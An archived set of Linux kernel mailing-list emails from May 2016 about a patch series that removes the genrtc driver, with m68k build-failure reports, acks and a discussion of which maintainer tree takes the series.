         cFBJe50aFHPz8nYmHl21YBm8Tncs1Q1zQ/CdsX0+Lj8VS9CHrxN1fidIbgx2Ks/q//aM
         ZTpvHQ3gXzC3fkaPVRZrZqIVzrpSfirU8rbDSngSJMGiw8cpjhsDlxJnXJ4cS07Pqn4p
         GQNxkj/zyXJRFeVJSbtSN5YqMWRRYDylzHOQiarFDSJf7E7G++ik2QysGeecDCzzYy3y
         gV0N9xPDrjw0eah+reTybJiFYU82fETM76Jv7BHz4gEHM1Md25iA+UBmIVQQ0owEP5+I
         4P7Q==
X-Gm-Message-State: AOPr4FUDWaIC4W9JYRHPYHVcljNEeTU5FDap0ZgECTmNQtkostADKMnVzMlew22V62Qsu/oKHHRkyU438+wj2Q==
X-Received: by 10.107.180.194 with SMTP id d185mr38792408iof.151.1462178752987;
 Mon, 02 May 2016 01:45:52 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Mon, 2 May 2016 01:45:52 -0700 (PDT)
In-Reply-To: <CAMuHMdUcrB38jL1_estfq5aK55UFUeF=4JciVGFqcE17pY9X7g@mail.gmail.com>
X-Google-Sender-Auth: VLtoWjSpmnQu5IS5vfJhAQ5AAdk
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8593 gmane.linux.ports.alpha:3714 gmane.linux.kernel:2212484 gmane.linux.ports.parisc:26746 gmane.linux.ports.ppc64.devel:126761 gmane.linux.ports.sh.devel:53978 gmane.linux.kernel.cross-arch:31870
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8593>

Hi Arnd,

On Thu, Apr 28, 2016 at 9:48 AM, Geert Uytterhoeven
<geert@linux-m68k.org> wrote:
> On Thu, Apr 28, 2016 at 12:34 AM, Arnd Bergmann <arnd@arndb.de> wrote=
:
>> I ended up stuffing the two patch series into one, as they are now
>> more dependent on one another. This now thoroughly removes the
>> genrtc driver including the asm/rtc.h headers it uses. For all
>> architectures that still have a meaningful asm/rtc.h, this goes
>> through two stages:
>>
>> 1) make the rtc-generic implementation independent of asm/rtc.h
>> 2) remove the asm/rtc.h header and disallow the gen_rtc driver
>>
>> As the last step, the driver itself gets removed.
>
> In general, after fixing the minor nit:
> Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
>
> For the m68k bits:
> Tested-by: Geert Uytterhoeven <geert@linux-m68k.org>

More build coverage uncovered two build failures on m68k due to "[PATCH=
 v3
02/16] rtc: cmos: move mc146818rtc code out of asm-generic/rtc.h":

bvme6000_defconfig:

    In file included from arch/m68k/bvme6000/rtc.c:19:
    include/linux/mc146818rtc.h: In function =E2=80=98mc146818_is_updat=
ing=E2=80=99:
    include/linux/mc146818rtc.h:138: error: implicit declaration of
function =E2=80=98CMOS_READ=E2=80=99
    include/linux/mc146818rtc.h: In function =E2=80=98mc146818_get_time=
=E2=80=99:
    include/linux/mc146818rtc.h:189: error: =E2=80=98RTC_ALWAYS_BCD=E2=80=
=99
undeclared (first use in this function)
    include/linux/mc146818rtc.h:189: error: (Each undeclared
identifier is reported only once
    include/linux/mc146818rtc.h:189: error: for each function it appear=
s in.)
    include/linux/mc146818rtc.h: In function =E2=80=98mc146818_set_time=
=E2=80=99:
    include/linux/mc146818rtc.h:279: error: =E2=80=98RTC_ALWAYS_BCD=E2=80=
=99
undeclared (first use in this function)
    include/linux/mc146818rtc.h:290: error: implicit declaration of
function =E2=80=98CMOS_WRITE=E2=80=99

mvme16x_defconfig:

    In file included from arch/m68k/mvme16x/rtc.c:18:
    include/linux/mc146818rtc.h: In function =E2=80=98mc146818_is_updat=
ing=E2=80=99:
    include/linux/mc146818rtc.h:138: error: implicit declaration of
function =E2=80=98CMOS_READ=E2=80=99
    include/linux/mc146818rtc.h: In function =E2=80=98mc146818_get_time=
=E2=80=99:
    include/linux/mc146818rtc.h:189: error: =E2=80=98RTC_ALWAYS_BCD=E2=80=
=99
undeclared (first use in this function)
    include/linux/mc146818rtc.h:189: error: (Each undeclared
identifier is reported only once
    include/linux/mc146818rtc.h:189: error: for each function it appear=
s in.)
    include/linux/mc146818rtc.h: In function =E2=80=98mc146818_set_time=
=E2=80=99:
    include/linux/mc146818rtc.h:279: error: =E2=80=98RTC_ALWAYS_BCD=E2=80=
=99
undeclared (first use in this function)
    include/linux/mc146818rtc.h:290: error: implicit declaration of
function =E2=80=98CMOS_WRITE=E2=80=99

These do not show up with a multi-platform config including Atari
support, as arch/m68k/include/asm/mc146818rtc.h provides a definition o=
f
CMOS_READ() if CONFIG_ATARI=3Dy.

=46ortunately the fixes are simple: replace <linux/mc146818rtc.h> by
<linux/rtc.h>. Will send patches to fix...

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
                                -- Linus Torvalds

From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 12/16] rtc: powerpc: provide rtc_class_ops directly
Date: Tue, 03 May 2016 14:05:09 +1000
Lines: 27
Approved: news@gmane.org
Message-ID: <1462248309.12788.4.camel@ellerman.id.au>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
	 <1461796470-1291527-13-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1462248317 28672 80.91.229.3 (3 May 2016 04:05:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 May 2016 04:05:17 +0000 (UTC)
Cc: geert@linux-m68k.org, deller@gmx.de, benh@kernel.crashing.org,
	dalias@libc.org, dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue May 03 06:05:14 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1axRaD-0004hg-TA
	for glpm-linux-m68k@plane.gmane.org; Tue, 03 May 2016 06:05:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750768AbcECEFN (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 3 May 2016 00:05:13 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:55430 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750773AbcECEFM (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 3 May 2016 00:05:12 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id 3qzSHn21Zjz9sCj;
	Tue,  3 May 2016 14:05:09 +1000 (AEST)
In-Reply-To: <1461796470-1291527-13-git-send-email-arnd@arndb.de>
X-Mailer: Evolution 3.16.5-1ubuntu3.1 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8597 gmane.linux.ports.alpha:3715 gmane.linux.kernel:2213462 gmane.linux.ports.parisc:26747 gmane.linux.ports.ppc64.devel:126785 gmane.linux.ports.sh.devel:53983 gmane.linux.kernel.cross-arch:31878
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8597>

On Thu, 2016-04-28 at 00:34 +0200, Arnd Bergmann wrote:

> The rtc-generic driver provides an architecture specific
> wrapper on top of the generic rtc_class_ops abstraction,
> and powerpc has another abstraction on top, which is a bit
> silly.
> 
> This changes the powerpc rtc-generic device to provide its
> rtc_class_ops directly, to reduce the number of layers
> by one.
> 
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>
> ---
>  arch/powerpc/kernel/time.c | 29 ++++++++++++++++++++++++++++-
>  drivers/rtc/rtc-generic.c  |  2 +-
>  2 files changed, 29 insertions(+), 2 deletions(-)

If this hits linux-next it will go through my automated boot testing, which
hopefully would be sufficient to catch any bugs in this patch, cross fingers.

I don't know jack about all the layers of RTC mess, so my ack is basically
worthless here. But if you like you can have one anyway :)

Acked-by: Michael Ellerman <mpe@ellerman.id.au>

cheers


From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 00/16] genrtc removal
Date: Tue, 3 May 2016 09:24:18 +0200
Lines: 91
Approved: news@gmane.org
Message-ID: <20160503072418.GA2335@piout.net>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1462260285 7815 80.91.229.3 (3 May 2016 07:24:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 May 2016 07:24:45 +0000 (UTC)
Cc: geert@linux-m68k.org, deller@gmx.de, benh@kernel.crashing.org,
	mpe@ellerman.id.au, dalias@libc.org, dhowells@redhat.com,
	linux-alpha@vger.kernel.org, a.zummo@towertech.it,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, rtc-linux@googlegroups.com,
	linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue May 03 09:24:34 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1axUh7-0007G5-Ur
	for glpm-linux-m68k@plane.gmane.org; Tue, 03 May 2016 09:24:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932414AbcECHYd (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 3 May 2016 03:24:33 -0400
Original-Received: from down.free-electrons.com ([37.187.137.238]:40826 "EHLO
	mail.free-electrons.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S932405AbcECHYc (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 3 May 2016 03:24:32 -0400
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id E149E3F5; Tue,  3 May 2016 09:24:29 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT,
	URIBL_BLOCKED shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (AMarseille-656-1-608-34.w86-210.abo.wanadoo.fr [86.210.13.34])
	by mail.free-electrons.com (Postfix) with ESMTPSA id 8CE4F1CC;
	Tue,  3 May 2016 09:24:19 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8598 gmane.linux.ports.alpha:3716 gmane.linux.kernel:2213543 gmane.linux.ports.parisc:26748 gmane.linux.ports.ppc64.devel:126838 gmane.linux.ports.sh.devel:53984 gmane.linux.kernel.cross-arch:31880
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8598>

Hi Arnd,

I see you didn't copy Greg on that series (that may explain his
confusion on the previous patch), do you expect me to take it
through the RTC tree? That is fine but I'd like some acks from him.

On 28/04/2016 at 00:34:14 +0200, Arnd Bergmann wrote :
> I ended up stuffing the two patch series into one, as they are now
> more dependent on one another. This now thoroughly removes the
> genrtc driver including the asm/rtc.h headers it uses. For all
> architectures that still have a meaningful asm/rtc.h, this goes
> through two stages:
> 
> 1) make the rtc-generic implementation independent of asm/rtc.h
> 2) remove the asm/rtc.h header and disallow the gen_rtc driver
> 
> As the last step, the driver itself gets removed.
> 
> 	Arnd
> 
>  arch/alpha/include/asm/rtc.h          |   1 -
>  arch/alpha/kernel/core_marvel.c       |   1 -
>  arch/alpha/kernel/rtc.c               |   6 +-
>  arch/frv/include/asm/mc146818rtc.h    |  16 -
>  arch/h8300/include/asm/mc146818rtc.h  |   9 -
>  arch/ia64/include/asm/mc146818rtc.h   |  10 -
>  arch/m68k/amiga/config.c              |   1 -
>  arch/m68k/apollo/config.c             |   1 -
>  arch/m68k/bvme6000/config.c           |   1 -
>  arch/m68k/hp300/config.c              |   2 +-
>  arch/m68k/include/asm/rtc.h           |  79 -----
>  arch/m68k/kernel/time.c               |  49 +++-
>  arch/m68k/mac/config.c                |   3 +-
>  arch/m68k/mac/misc.c                  |   1 -
>  arch/m68k/mvme147/config.c            |   1 -
>  arch/m68k/mvme16x/config.c            |   1 -
>  arch/m68k/q40/config.c                |   2 +-
>  arch/m68k/sun3/config.c               |   1 -
>  arch/m68k/sun3/intersil.c             |   2 +-
>  arch/m68k/sun3x/time.c                |   2 +-
>  arch/mips/sni/time.c                  |   1 -
>  arch/mn10300/include/asm/rtc.h        |   2 -
>  arch/mn10300/kernel/rtc.c             |   2 +-
>  arch/parisc/include/asm/mc146818rtc.h |   9 -
>  arch/parisc/include/asm/rtc.h         | 131 ---------
>  arch/parisc/kernel/time.c             |  36 ++-
>  arch/powerpc/include/asm/rtc.h        |  78 -----
>  arch/powerpc/kernel/time.c            |  29 +-
>  arch/powerpc/platforms/Kconfig        |  11 +
>  arch/powerpc/platforms/ps3/time.c     |   2 +-
>  arch/sh/include/asm/mc146818rtc.h     |   7 -
>  arch/sh/include/asm/rtc.h             |  11 -
>  arch/sh/kernel/time.c                 |  32 +-
>  arch/x86/include/asm/mc146818rtc.h    |   1 -
>  arch/x86/include/asm/rtc.h            |   1 -
>  arch/x86/kernel/hpet.c                |   3 +-
>  arch/x86/kernel/rtc.c                 |   3 +-
>  arch/x86/platform/efi/efi.c           |   1 -
>  drivers/acpi/acpi_cmos_rtc.c          |   2 +-
>  drivers/base/power/trace.c            |   6 +-
>  drivers/char/Kconfig                  |  26 --
>  drivers/char/Makefile                 |   1 -
>  drivers/char/genrtc.c                 | 539 ----------------------------------
>  drivers/rtc/rtc-cmos.c                |  12 +-
>  drivers/rtc/rtc-generic.c             |  36 +--
>  drivers/rtc/rtc-mrst.c                |   2 +-
>  include/asm-generic/rtc.h             | 247 ----------------
>  include/linux/mc146818rtc.h           | 194 ++++++++++++
>  48 files changed, 358 insertions(+), 1256 deletions(-)
> 
>  [PATCH v3 01/16] rtc: cmos: remove empty asm/mc146818rtc.h files
>  [PATCH v3 02/16] rtc: cmos: move mc146818rtc code out of
>  [PATCH v3 03/16] char/genrtc: x86: remove remnants of asm/rtc.h
>  [PATCH v3 04/16] rtc: sh: provide rtc_class_ops directly
>  [PATCH v3 05/16] char/genrtc: remove alpha support
>  [PATCH v3 06/16] char/genrtc: remove mn10300 support
>  [PATCH v3 07/16] rtc: parisc: provide rtc_class_ops directly
>  [PATCH v3 08/16] char/genrtc: remove parisc support
>  [PATCH v3 09/16] rtc: m68k: provide rtc_class_ops directly
>  [PATCH v3 10/16] rtc: m68k: provide ioctl for q40
>  [PATCH v3 11/16] char/genrtc: remove m68k support
>  [PATCH v3 12/16] rtc: powerpc: provide rtc_class_ops directly
>  [PATCH v3 13/16] char/genrtc: remove powerpc support
>  [PATCH v3 14/16] rtc: generic: remove get_rtc_time/set_rtc_time
>  [PATCH v3 15/16] char/genrtc: remove asm-generic/rtc.h from mips
>  [PATCH v3 16/16] char/genrtc: remove the rest of the driver

-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com

From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 00/16] genrtc removal
Date: Tue, 03 May 2016 12:05:34 +0200
Lines: 106
Approved: news@gmane.org
Message-ID: <3351574.jQ0612lD2O@wuerfel>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de> <20160503072418.GA2335@piout.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1462269995 29849 80.91.229.3 (3 May 2016 10:06:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 May 2016 10:06:35 +0000 (UTC)
Cc: geert@linux-m68k.org, deller@gmx.de, benh@kernel.crashing.org,
	mpe@ellerman.id.au, dalias@libc.org, dhowells@redhat.com,
	linux-alpha@vger.kernel.org, a.zummo@towertech.it,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, rtc-linux@googlegroups.com,
	linux-arch@vger.kernel.org, gregkh@linuxfoundation.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-sh-owner@vger.kernel.org Tue May 03 12:06:24 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1axXDk-00063e-6f
	for glps-linuxsh-dev@plane.gmane.org; Tue, 03 May 2016 12:06:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755929AbcECKGS (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 3 May 2016 06:06:18 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.133]:56471 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755697AbcECKGN (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 3 May 2016 06:06:13 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue005) with ESMTPSA (Nemesis) id 0MDCvo-1arzI03Wea-00GYNR; Tue, 03 May
 2016 12:05:42 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <20160503072418.GA2335@piout.net>
X-Provags-ID: V03:K0:mcep0ZP+RFrtTsj9O2gU4th0w9LOOSygfPFgij0LipgL3kW2GtR
 59vV3XTjlhLRmImeSZ9WO8s29kWuU80Kzk+ccsivTqQHDXwWKKYVsnFZiY7exOBozYkuXc6
 wpCjS5R+eYsd+qNP0v1lFXQjdaJ0I8MgD/dYGh7txwTGlLnlw2caDEXCJ7Znhjt1OU6/+cU
 FEkCq0GgR1JYSluKFs1DA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Np9wBXWwIa8=:/R+CsJuef6eqwWAzS+tbr6
 TAQkmjXjetixIuBvLtX+UKVzjiWLP1O+1i2HVzGQr7zkETOO1tKJ4PT3DuhvP5VOCe7IHFI+a
 2vQ2CtIKvVkW+AqVqACRms5mkmd89XYm9smyJKjdRtTv3J23mOzZVdbzYcsCk4lZkpFJCii/v
 5NVCpDVgRs7BTRlIcvWpFN0hvPWQp5wNUy59cYGTJyyhu1k+dG1sTwWiclVQaubAawDTlFIaA
 F/Ebxjq2GiVecY8S8u8P/dxG04Cr7IPadg6mcBMSPlmOisJ9E32NNF0fzM3Q9p6/Z2ItMYHeP
 vliUzQuSghsi/t5M/RrAiro8HunSjGkTel9MXAzFBaU/MPX6VrgJMpxnU4o2D9SzHEC2u8GUr
 IdUMvBCQTVxpJk+eEKehmFN8im+nseA2OfuXVmL44LzS+MTu29hwBTeZIdn98TPW1JzdwD0OT
 fhCg3fgDVcmgy8UgiXLZOrkeK40lAfafLjxlBhmm8r/nyzJWFcy83pKpEb7WGilLeKROOr1vu
 r6c5Gi22RGbj8IWcVHxM6hkPE68yoBpA2j+AMS41zgOmSDcUVcXsZ5tHkRfIMjfPAaR0v+jdG
 RxQGZo5nX3aPbL688v4uG5rPu+D+L1OSwOLqnrc8a06to8toMT/XidvT61b3n3/7aGC0W1t6e
 R+J5SVUZNj9boM9YINgpoNK6IUpAb3pHs4SsHomn50OdoBapy1NL1KBSiXsTVhpBS5MfiMHgX
 qAuVu2XjCNR1Bx9s
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53985 gmane.linux.ports.alpha:3717 gmane.linux.kernel:2213710 gmane.linux.ports.parisc:26749 gmane.linux.ports.ppc64.devel:126864 gmane.linux.kernel.cross-arch:31883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53985>

On Tuesday 03 May 2016 09:24:18 Alexandre Belloni wrote:
> Hi Arnd,
> 
> I see you didn't copy Greg on that series (that may explain his
> confusion on the previous patch), do you expect me to take it
> through the RTC tree? That is fine but I'd like some acks from him.

Yes, that was a mistake. I dropped Greg from one Cc list in v2 when
I split up the RTC changes into the part that was for drivers/rtc
and the other one for Greg's char-misc tree. Then I reused the first
Cc list when I sent a combined series for v3 again. I'll fix that
when I post v4. There are only very small changes in there that
I still need to pick up, so hopefully that will be the last version.

It would be nice if you could take it through your tree then.

	Arnd

> On 28/04/2016 at 00:34:14 +0200, Arnd Bergmann wrote :
> > I ended up stuffing the two patch series into one, as they are now
> > more dependent on one another. This now thoroughly removes the
> > genrtc driver including the asm/rtc.h headers it uses. For all
> > architectures that still have a meaningful asm/rtc.h, this goes
> > through two stages:
> > 
> > 1) make the rtc-generic implementation independent of asm/rtc.h
> > 2) remove the asm/rtc.h header and disallow the gen_rtc driver
> > 
> > As the last step, the driver itself gets removed.
> > 
> > 	Arnd
> > 
> >  arch/alpha/include/asm/rtc.h          |   1 -
> >  arch/alpha/kernel/core_marvel.c       |   1 -
> >  arch/alpha/kernel/rtc.c               |   6 +-
> >  arch/frv/include/asm/mc146818rtc.h    |  16 -
> >  arch/h8300/include/asm/mc146818rtc.h  |   9 -
> >  arch/ia64/include/asm/mc146818rtc.h   |  10 -
> >  arch/m68k/amiga/config.c              |   1 -
> >  arch/m68k/apollo/config.c             |   1 -
> >  arch/m68k/bvme6000/config.c           |   1 -
> >  arch/m68k/hp300/config.c              |   2 +-
> >  arch/m68k/include/asm/rtc.h           |  79 -----
> >  arch/m68k/kernel/time.c               |  49 +++-
> >  arch/m68k/mac/config.c                |   3 +-
> >  arch/m68k/mac/misc.c                  |   1 -
> >  arch/m68k/mvme147/config.c            |   1 -
> >  arch/m68k/mvme16x/config.c            |   1 -
> >  arch/m68k/q40/config.c                |   2 +-
> >  arch/m68k/sun3/config.c               |   1 -
> >  arch/m68k/sun3/intersil.c             |   2 +-
> >  arch/m68k/sun3x/time.c                |   2 +-
> >  arch/mips/sni/time.c                  |   1 -
> >  arch/mn10300/include/asm/rtc.h        |   2 -
> >  arch/mn10300/kernel/rtc.c             |   2 +-
> >  arch/parisc/include/asm/mc146818rtc.h |   9 -
> >  arch/parisc/include/asm/rtc.h         | 131 ---------
> >  arch/parisc/kernel/time.c             |  36 ++-
> >  arch/powerpc/include/asm/rtc.h        |  78 -----
> >  arch/powerpc/kernel/time.c            |  29 +-
> >  arch/powerpc/platforms/Kconfig        |  11 +
> >  arch/powerpc/platforms/ps3/time.c     |   2 +-
> >  arch/sh/include/asm/mc146818rtc.h     |   7 -
> >  arch/sh/include/asm/rtc.h             |  11 -
> >  arch/sh/kernel/time.c                 |  32 +-
> >  arch/x86/include/asm/mc146818rtc.h    |   1 -
> >  arch/x86/include/asm/rtc.h            |   1 -
> >  arch/x86/kernel/hpet.c                |   3 +-
> >  arch/x86/kernel/rtc.c                 |   3 +-
> >  arch/x86/platform/efi/efi.c           |   1 -
> >  drivers/acpi/acpi_cmos_rtc.c          |   2 +-
> >  drivers/base/power/trace.c            |   6 +-
> >  drivers/char/Kconfig                  |  26 --
> >  drivers/char/Makefile                 |   1 -
> >  drivers/char/genrtc.c                 | 539 ----------------------------------
> >  drivers/rtc/rtc-cmos.c                |  12 +-
> >  drivers/rtc/rtc-generic.c             |  36 +--
> >  drivers/rtc/rtc-mrst.c                |   2 +-
> >  include/asm-generic/rtc.h             | 247 ----------------
> >  include/linux/mc146818rtc.h           | 194 ++++++++++++
> >  48 files changed, 358 insertions(+), 1256 deletions(-)
> > 
> >  [PATCH v3 01/16] rtc: cmos: remove empty asm/mc146818rtc.h files
> >  [PATCH v3 02/16] rtc: cmos: move mc146818rtc code out of
> >  [PATCH v3 03/16] char/genrtc: x86: remove remnants of asm/rtc.h
> >  [PATCH v3 04/16] rtc: sh: provide rtc_class_ops directly
> >  [PATCH v3 05/16] char/genrtc: remove alpha support
> >  [PATCH v3 06/16] char/genrtc: remove mn10300 support
> >  [PATCH v3 07/16] rtc: parisc: provide rtc_class_ops directly
> >  [PATCH v3 08/16] char/genrtc: remove parisc support
> >  [PATCH v3 09/16] rtc: m68k: provide rtc_class_ops directly
> >  [PATCH v3 10/16] rtc: m68k: provide ioctl for q40
> >  [PATCH v3 11/16] char/genrtc: remove m68k support
> >  [PATCH v3 12/16] rtc: powerpc: provide rtc_class_ops directly
> >  [PATCH v3 13/16] char/genrtc: remove powerpc support
> >  [PATCH v3 14/16] rtc: generic: remove get_rtc_time/set_rtc_time
> >  [PATCH v3 15/16] char/genrtc: remove asm-generic/rtc.h from mips
> >  [PATCH v3 16/16] char/genrtc: remove the rest of the driver
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 12/16] rtc: powerpc: provide rtc_class_ops directly
Date: Tue, 03 May 2016 12:29:21 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <3723014.RkUgaFBZte@wuerfel>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de> <1461796470-1291527-13-git-send-email-arnd@arndb.de> <1462248309.12788.4.camel@ellerman.id.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1462271424 21370 80.91.229.3 (3 May 2016 10:30:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 May 2016 10:30:24 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	geert@linux-m68k.org, deller@gmx.de, benh@kernel.crashing.org,
	dalias@libc.org, dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-sh-owner@vger.kernel.org Tue May 03 12:30:14 2016
Return-path: <linux-sh-owner@vger.kernel.org>
